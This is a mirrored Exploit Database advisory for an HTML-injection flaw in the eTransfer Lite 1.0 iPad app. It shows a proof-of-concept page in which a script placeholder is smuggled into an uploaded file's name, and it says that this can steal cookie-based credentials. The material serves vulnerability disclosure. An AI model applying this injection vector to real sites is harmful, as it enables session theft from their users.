eTransfer Lite – ‘file name’ HTML Injection

• Exploit Database
• 16 阅读

• 作者： Benjamin Kunz Mejri
  日期： 2013-09-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38754/

• source: https://www.securityfocus.com/bid/62313/info
  
  eTransfer Lite is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.
  
  Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.
  
  eTransfer Lite 1.0 is vulnerable; other versions may also be affected. 
  
  <bq>The following files are hosted live from the iPad's Docs folder.</bq><p><b>Images:<br><br></b>
  <a href="http://www.example.com/%3C[PERSISTENT INJECTED SCRIPT CODE!]%3Es2.png"><[PERSISTENT INJECTED SCRIPT 
  CODE!]">s2.png</a>
  (51.8 Kb, 2013-08-25 02:09:25 +0000)<br />
  <a href="https://www.exploit-db.com/exploits/38754/a2b642e7de.jpg">a2b642e7de.jpg</a>
  ( 238.0 Kb, 2013-08-25 02:08:13 +0000)<br />
  </p><br><br><br><hr><br><br><br><center><form
   action="" method="post" enctype="multipart/form-data" name="form1" 
  id="form1"><label>Upload file to iPad<input type="file" 
  name="file" id="file" /></label><label> <input 
  type="submit" name="button" id="button" value="Submit" 
  /></label></form></center><br><br><br>Powered
   By <a 
  href=http://www.example.com</a></body></html></iframe></a></p></body></html>